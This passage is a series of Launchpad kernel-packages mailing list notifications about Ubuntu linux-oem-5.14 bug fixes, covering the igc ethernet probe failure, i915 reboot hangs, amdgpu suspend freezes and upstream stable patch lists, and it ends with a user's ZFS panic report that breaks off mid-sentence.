Focal: Won't Fix Status in linux-intel-5.13 source package in Focal: Fix Released Status in linux-oem-5.10 source package in Focal: Fix Committed Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Status in linux source package in Hirsute: Fix Committed Status in linux-intel source package in Hirsute: Invalid Status in linux-intel-5.13 source package in Hirsute: Invalid Status in linux-oem-5.10 source package in Hirsute: Invalid Status in linux-oem-5.13 source package in Hirsute: Invalid Status in linux-oem-5.14 source package in Hirsute: Invalid Status in linux source package in Impish: Fix Committed Status in linux-intel source package in Impish: Invalid Status in linux-intel-5.13 source package in Impish: Invalid Status in linux-oem-5.10 source package in Impish: Invalid Status in linux-oem-5.13 source package in Impish: Invalid Status in linux-oem-5.14 source package in Impish: Invalid Bug description: [Environment] Device : Aaeon Up xtreme i11 Platform: Intel TigerLake-UP3 I225-IT NVM version: 1.79 I225-IT Stepping: B3 Ubuntu version: 20.04.3 LTS with kernel 5.11.0-27-generic [Description] It can work under Windows10. But uner Ubuntu, we can't find the interface by ifconfig command and the system dmesg will has the error of igc driver module : igc: probe of :02:00.0 failed with error -1 To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1945576/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1947155] Re: Focal update: v5.14.12 upstream stable release
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1947155 Title: Focal update: v5.14.12 upstream stable release Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.14.12 upstream stable release from git://git.kernel.org/ Linux 5.14.12 dsa: tag_dsa: Fix mask for trunked packets x86/hpet: Use another crystalball to evaluate HPET usability x86/entry: Clear X86_FEATURE_SMAP when CONFIG_X86_SMAP=n x86/entry: Correct reference to intended CONFIG_64_BIT x86/fpu: Restore the masking out of reserved MXCSR bits x86/sev: Return an error on a returned non-zero SW_EXITINFO1[31:0] x86/Kconfig: Correct reference to MWINCHIP3D x86/platform/olpc: Correct ifdef symbol to intended CONFIG_OLPC_XO15_SCI pseries/eeh: Fix the kdump kernel crash during eeh_pseries_init powerpc/32s: Fix kuap_kernel_restore() powerpc/64s: Fix unrecoverable MCE calling async handler from NMI powerpc/traps: do not enable irqs in _exception powerpc/64s: fix program check interrupt emergency stack path powerpc/bpf ppc32: Fix BPF_SUB when imm == 0x8000 powerpc/bpf ppc32: Do not emit zero extend instruction for 64-bit BPF_END powerpc/bpf ppc32: Fix JMP32_JSET_K powerpc/bpf ppc32: Fix ALU32 BPF_ARSH operation powerpc/bpf: Fix BPF_SUB when imm == 0x8000 powerpc/bpf: Fix BPF_MOD when imm == 1 objtool: Make .altinstructions section entry size consistent objtool: Remove reloc symbol type checks in get_alt_entry() scsi: iscsi: Fix iscsi_task use after free RISC-V: Include clone3() on rv32 i2c: mlxcpld: Modify register setting for 400KHz frequency i2c: mlxcpld: Fix criteria for frequency setting bpf, s390: Fix potential memory leak about jit_data riscv/vdso: make arch_setup_additional_pages wait for mmap_sem for write killable riscv/vdso: Move vdso data page up front riscv/vdso: Refactor asm/vdso.h RISC-V: Fix VDSO build for !MMU riscv: explicitly use symbol offsets for VDSO i2c: mediatek: Add OFFSET_EXT_CONF setting back i2c: acpi: fix resource leak in reconfiguration device addition powerpc/iommu: Report the correct most efficient DMA mask for PCI devices net: prefer socket bound to interface when not in VRF iavf: fix double unlock of crit_lock i40e: Fix freeing of uninitialized misc IRQ vector i40e: fix endless loop under rtnl gve: report 64bit tx_bytes counter from gve_handle_report_stats() gve: fix gve_get_stats() rtnetlink: fix if_nlmsg_stats_size() under estimation gve: Properly handle errors in gve_assign_qpl gve: Avoid freeing NULL pointer gve: Correct available tx qpl check net: stmmac: trigger PCS EEE to turn off on link down net: pcs: xpcs: fix incorrect steps on disable EEE drm/nouveau/debugfs: fix file release memory leak drm/nouveau/kms/nv50-: fix file release memory leak drm/nouveau: avoid a use-after-free when BO init fails video: fbdev: gbefb: Only instantiate device when built for IP32 drm/panel: abt-y030xx067a: yellow tint fix drm/nouveau/fifo/ga102: initialise chid on return from channel creation drm/sun4i: dw-hdmi: Fix
[Kernel-packages] [Bug 1948651] Re: Focal update: v5.14.14 upstream stable release
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1948651 Title: Focal update: v5.14.14 upstream stable release Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.14.14 upstream stable release from git://git.kernel.org/ Linux 5.14.14 ionic: don't remove netdev->dev_addr when syncing uc list net: dsa: felix: break at first CPU port during init and teardown net: mscc: ocelot: cross-check the sequence id from the timestamp FIFO with the skb PTP header net: mscc: ocelot: deny TX timestamping of non-PTP packets net: mscc: ocelot: warn when a PTP IRQ is raised for an unknown skb net: mscc: ocelot: avoid overflowing the PTP timestamp FIFO net: mscc: ocelot: make use of all 63 PTP timestamp identifiers nfp: flow_offload: move flow_indr_dev_register from app init to app start block/rnbd-clt-sysfs: fix a couple uninitialized variable bugs ice: fix locking for Tx timestamp tracking flush r8152: select CRC32 and CRYPTO/CRYPTO_HASH/CRYPTO_SHA256 qed: Fix missing error code in qed_slowpath_start() mptcp: fix possible stall on recvmsg() mqprio: Correct stats in mqprio_dump_class_stats(). platform/x86: intel_scu_ipc: Fix busy loop expiry time acpi/arm64: fix next_platform_timer() section mismatch error drm/msm/dsi: fix off by one in dsi_bus_clk_enable error handling drm/msm/dsi: Fix an error code in msm_dsi_modeset_init() drm/msm/dsi: dsi_phy_14nm: Take ready-bit into account in poll_for_ready drm/msm/a3xx: fix error handling in a3xx_gpu_init() drm/msm/a4xx: fix error handling in a4xx_gpu_init() drm/msm/a6xx: Track current ctx by seqno drm/msm/submit: fix overflow check on 64-bit architectures drm/msm/mdp5: fix cursor-related warnings drm/msm: Fix null pointer dereference on pointer edp drm/edid: In connector_bad_edid() cap num_of_ext by num_blocks read drm/panel: olimex-lcd-olinuxino: select CRC32 spi: bcm-qspi: clear MSPI spifie interrupt during probe spi: spidev: Add SPI ID table platform/mellanox: mlxreg-io: Fix read access of n-bytes size attributes platform/mellanox: mlxreg-io: Fix argument base in kstrtou32() call mlxsw: thermal: Fix out-of-bounds memory accesses ata: ahci_platform: fix null-ptr-deref in ahci_platform_enable_regulators() pata_legacy: fix a couple uninitialized variable bugs NFC: digital: fix possible memory leak in digital_in_send_sdd_req() NFC: digital: fix possible memory leak in digital_tg_listen_mdaa() nfc: fix error handling of nfc_proto_register() vhost-vdpa: Fix the wrong input in config_cb ethernet: s2io: fix setting mac address during resume net: encx24j600: check error in devm_regmap_init_encx24j600 net: dsa: fix spurious error message when unoffloaded port leaves bridge net: dsa: microchip: Added the condition for scheduling ksz_mib_read_work net: dsa: mv88e6xxx: don't use PHY_DETECT on internal PHY's net: phy: Do not shutdown PHYs in READY state net: stmmac: fix get_hw_feature() on old hardware net/mlx5e: Switchdev representors are not vlan challenged net/mlx5e: Mutually exclude RX-FCS
[Kernel-packages] [Bug 1946433] Re: Can only reach PC3 when ethernet is plugged r8169
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1946433 Title: Can only reach PC3 when ethernet is plugged r8169 Status in HWE Next: New Status in linux package in Ubuntu: In Progress Status in linux-oem-5.13 package in Ubuntu: Invalid Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux source package in Focal: Invalid Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Status in linux source package in Impish: In Progress Status in linux-oem-5.13 source package in Impish: Invalid Status in linux-oem-5.14 source package in Impish: Invalid Bug description: [Impact] System only can reach PC3, and it affects power consumption alot. [Fix] Kaiheng implemented a dynamic ASPM for r8169, it not only fixes the PC state issue, but also fixes network speed issue. https://patchwork.ozlabs.org/project/linux-pci/cover/20211007161552.272771-1-kai.heng.f...@canonical.com/ [Test] Verified on 2 different systems which has PC state issue and has network speed issue, these patches fix both issues. [Where problems could occur] It toggles ASPM on and off depends on the network traffic during runtime, I don't think it'll lead to any regressions. Some potential issues have been addressed during the patch submitting. It's v6 now and accepted by upstream. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1946433/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1946383] Re: Fix missing recording from headset mic
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.13 in Ubuntu. https://bugs.launchpad.net/bugs/1946383 Title: Fix missing recording from headset mic Status in HWE Next: New Status in linux-oem-5.13 package in Ubuntu: Invalid Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: [Impact] When using headset mic to record, the beginning of 2 seconds period is not recorded. [Fix] Skip shutup routines for the codec. The shutup routines somehow interferes headset mic recording. [Test] External headset mic no longer records blank period once the patch is applied. [Where problems could occur] Shutup routines are mainly for outputs like headphone and speakers. Since the patch is using a rather generic match for both ALC236 and ALC256, many systems might start to observe pop sound from the audio outputs. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1946383/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1949050] Re: Fix Screen freeze after resume from suspend with iGPU [1002:6987]
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1949050 Title: Fix Screen freeze after resume from suspend with iGPU [1002:6987] Status in HWE Next: New Status in linux package in Ubuntu: Incomplete Status in linux-oem-5.13 package in Ubuntu: New Status in linux-oem-5.14 package in Ubuntu: New Status in linux source package in Focal: Incomplete Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Status in linux source package in Hirsute: Fix Committed Status in linux-oem-5.13 source package in Hirsute: New Status in linux-oem-5.14 source package in Hirsute: New Status in linux source package in Impish: Fix Committed Status in linux-oem-5.13 source package in Impish: New Status in linux-oem-5.14 source package in Impish: New Bug description: [Impact] Screen freeze after resume from suspend [Fix] Perform proper cleanups on UVD/VCE suspend: powergate enablement, clockgating enablement and dpm disablement. This can fix some hangs observed on suspending when UVD/VCE still using(e.g. issue "pm-suspend" when video is still playing). [Test] 1. Plug AMD RX640/Radeon 540 into the system 2. Connect with DP monitor to iGPU 3. Power on 4. Suspend the system 5. Resume from suspend 6. Do something for a while (terminal, nautilus, gnome-control-center, etc). 7. System could resume normally [Regression Potential] Low To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1949050/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1948650] Re: Focal update: v5.14.13 upstream stable release
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1948650 Title: Focal update: v5.14.13 upstream stable release Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.14.13 upstream stable release from git://git.kernel.org/ Linux 5.14.13 hwmon: (pmbus/ibm-cffps) max_power_out swap changes io_uring: kill fasync sched: Always inline is_percpu_thread() perf/core: fix userpage->time_enabled of inactive events scsi: qla2xxx: Fix excessive messages during device logout scsi: virtio_scsi: Fix spelling mistake "Unsupport" -> "Unsupported" scsi: ses: Fix unsigned comparison with less than zero drm/amdgpu: fix gart.bo pin_count leak net: sun: SUNVNET_COMMON should depend on INET vboxfs: fix broken legacy mount signature checking net: bgmac-platform: handle mac-address deferral mac80211: check return value of rhashtable_init net: prevent user from passing illegal stab size hwmon: (ltc2947) Properly handle errors when looking for the external clock m68k: Handle arrivals of multiple signals correctly pinctrl: qcom: sc7280: Add PM suspend callbacks mac80211: Drop frames from invalid MAC address in ad-hoc mode netfilter: nf_nat_masquerade: defer conntrack walk to work queue netfilter: nf_nat_masquerade: make async masq_inet6_event handling generic KVM: arm64: nvhe: Fix missing FORCE for hyp-reloc.S build rule ASoC: SOF: loader: release_firmware() on load failure to avoid batching HID: wacom: Add new Intuos BT (CTL-4100WL/CTL-6100WL) device IDs netfilter: ip6_tables: zero-initialize fragment offset HID: apple: Fix logical maximum and usage maximum of Magic Keyboard JIS ALSA: usb-audio: Unify mixer resume and reset_resume procedure ALSA: oxfw: fix transmission method for Loud models based on OXFW971 ASoC: Intel: sof_sdw: tag SoundWire BEs as non-atomic ext4: correct the error path of ext4_write_inline_data_end() ext4: check and update i_disksize properly To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-oem-5.14/+bug/1948650/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1945932] Re: Fix A yellow screen pops up in an instant (< 1 second) and then disappears before loading the system
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1945932 Title: Fix A yellow screen pops up in an instant (< 1 second) and then disappears before loading the system Status in HWE Next: New Status in OEM Priority Project: New Status in linux package in Ubuntu: In Progress Status in linux-oem-5.10 package in Ubuntu: Invalid Status in linux-oem-5.13 package in Ubuntu: Invalid Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux source package in Focal: Invalid Status in linux-oem-5.10 source package in Focal: Fix Released Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Status in linux source package in Hirsute: Fix Released Status in linux-oem-5.10 source package in Hirsute: Invalid Status in linux-oem-5.13 source package in Hirsute: Invalid Status in linux-oem-5.14 source package in Hirsute: Invalid Status in linux source package in Impish: Fix Released Status in linux-oem-5.10 source package in Impish: Invalid Status in linux-oem-5.13 source package in Impish: Invalid Status in linux-oem-5.14 source package in Impish: Invalid Bug description: [Impact] *** this issue happen with secure boot on and issue gone when secure boot is off*** After the BIOS loading screen, a yellow screen pops up in an instant (< 1 second) and then disappears. Attached a demo video. [Fix] do what intel_color_commit() does to make sure the bottom color state matches whatever out hardware readout produced. Ref. https://patchwork.freedesktop.org/patch/456170/?series=95171=1 [Test] 1. Power on the system 2. Check if any unusual screen shows before and after the system loading screen. 3. No unusual screen shows before and after the system loading screen [Regression Potential] Medium, maintainer still not totally sure what should do about color management features here in general. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1945932/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1949321] Re: Fix System hangs on black screen when reboot
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7
---
linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium
* focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349)
* Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with
error -1 (LP: #1945576)
- igc: Remove _I_PHY_ID checking
- igc: Remove phy->type checking
* Fix Screen freeze after resume from suspend with iGPU [1002:6987]
(LP: #1949050)
- drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU
- drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend
- drm/amdgpu: Fix crash on device remove/driver unload
* Fail to detect audio output from external monitor (LP: #1948767)
- ALSA: hda: intel: Allow repeatedly probing on codec configuration errors
* Fix System hangs on black screen when reboot (LP: #1949321)
- SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while
irqs
are off
- SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in
encoder->shutdown()
-- Timo Aaltonen Mon, 01 Nov 2021
12:38:15 +0200
** Changed in: linux-oem-5.14 (Ubuntu Focal)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-oem-5.14 in Ubuntu.
https://bugs.launchpad.net/bugs/1949321
Title:
Fix System hangs on black screen when reboot
Status in HWE Next:
New
Status in linux package in Ubuntu:
In Progress
Status in linux-oem-5.10 package in Ubuntu:
Invalid
Status in linux-oem-5.14 package in Ubuntu:
Invalid
Status in linux source package in Focal:
New
Status in linux-oem-5.10 source package in Focal:
In Progress
Status in linux-oem-5.14 source package in Focal:
Fix Released
Status in linux source package in Hirsute:
In Progress
Status in linux-oem-5.10 source package in Hirsute:
New
Status in linux-oem-5.14 source package in Hirsute:
New
Status in linux source package in Impish:
In Progress
Status in linux-oem-5.10 source package in Impish:
New
Status in linux-oem-5.14 source package in Impish:
New
Status in linux source package in Jammy:
In Progress
Status in linux-oem-5.10 source package in Jammy:
Invalid
Status in linux-oem-5.14 source package in Jammy:
Invalid
Bug description:
[Impact]
System hangs on black screen when reboot
[Fix]
Looks like our VBIOS/GOP generally fail to turn the DP dual mode adater
TMDS output buffers back on after a reboot. This leads to a black screen
after reboot if we turned the TMDS output buffers off prior to reboot.
And if i915 decides to do a fastboot the black screen will persist even
after i915 takes over.
Apparently this has been a problem ever since commit b2ccb822d376
("drm/i915:Enable/disable TMDS output buffers in DP++ adaptor as needed") if
one rebooted while the display was turned off. And things became worse with
commit fe0f1e3bfdfe ("drm/i915: Shut down displays gracefully on reboot") since
now we always turn the display off before a reboot.
This was reported on a RKL, but I confirmed the same behaviour on my
SNB as well. So looks pretty universal.
Let's fix this by explicitly turning the TMDS output buffers back on
in the encoder->shutdown() hook. Note that this gets called after irqs
have been disabled, so the i2c communication with the DP dual mode
adapter has to be performed via polling (which the gmbus code is
perfectly happy to do for us).
We also need a bit of care in handling DDI encoders which may or may
not be set up for HDMI output. Specifically ddc_pin will not be
populated for a DP only DDI encoder, in which case we don't want to
call intel_gmbus_get_adapter(). We can handle that by simply doing
the dual mode adapter type check before calling
intel_gmbus_get_adapter().
Ref: https://patchwork.freedesktop.org/series/96433/
[Test]
1. install kernel
2. reboot
3. check the monitor works well.
[Regression Potential]
Medium, patch has sent to patchwork but may have a upgraded version in the
furtue.
To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1949321/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1906476] Re: PANIC at zfs_znode.c:335:zfs_znode_sa_init() // VERIFY(0 == sa_handle_get_from_db(zfsvfs->z_os, db, zp, SA_HDL_SHARED, >z_sa_hdl)) failed
I installed 21.10 with ZFS+encryption before this was fixed. Do I need to reformat and reinstall? Or is there a way to check for corruption on each zpool? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to zfs-linux in Ubuntu. https://bugs.launchpad.net/bugs/1906476 Title: PANIC at zfs_znode.c:335:zfs_znode_sa_init() // VERIFY(0 == sa_handle_get_from_db(zfsvfs->z_os, db, zp, SA_HDL_SHARED, >z_sa_hdl)) failed Status in Native ZFS for Linux: New Status in linux package in Ubuntu: Invalid Status in ubuntu-release-upgrader package in Ubuntu: Confirmed Status in zfs-linux package in Ubuntu: Fix Released Status in linux source package in Impish: Fix Released Status in ubuntu-release-upgrader source package in Impish: Confirmed Status in zfs-linux source package in Impish: Fix Released Bug description: Since today while running Ubuntu 21.04 Hirsute I started getting a ZFS panic in the kernel log which was also hanging Disk I/O for all Chrome/Electron Apps. I have narrowed down a few important notes: - It does not happen with module version 0.8.4-1ubuntu11 built and included with 5.8.0-29-generic - It was happening when using zfs-dkms 0.8.4-1ubuntu16 built with DKMS on the same kernel and also on 5.8.18-acso (a custom kernel). - For whatever reason multiple Chrome/Electron apps were affected, specifically Discord, Chrome and Mattermost. In all cases they seem (but I was unable to strace the processes so it was a bit hard ot confirm 100% but by deduction from /proc/PID/fd and the hanging ls) they seem hung trying to open files in their 'Cache' directory, e.g. ~/.cache/google-chrome/Default/Cache and ~/.config/Mattermost/Cache .. while the issue was going on I could not list that directory either "ls" would just hang. - Once I removed zfs-dkms only to revert to the kernel built-in version it immediately worked without changing anything, removing files, etc. - It happened over multiple reboots and kernels every time, all my Chrome apps weren't working but for whatever reason nothing else seemed affected. - It would log a series of spl_panic dumps into kern.log that look like this: Dec 2 12:36:42 optane kernel: [ 72.857033] VERIFY(0 == sa_handle_get_from_db(zfsvfs->z_os, db, zp, SA_HDL_SHARED, >z_sa_hdl)) failed Dec 2 12:36:42 optane kernel: [ 72.857036] PANIC at zfs_znode.c:335:zfs_znode_sa_init() I could only find one other google reference to this issue, with 2 other users reporting the same error but on 20.04 here: 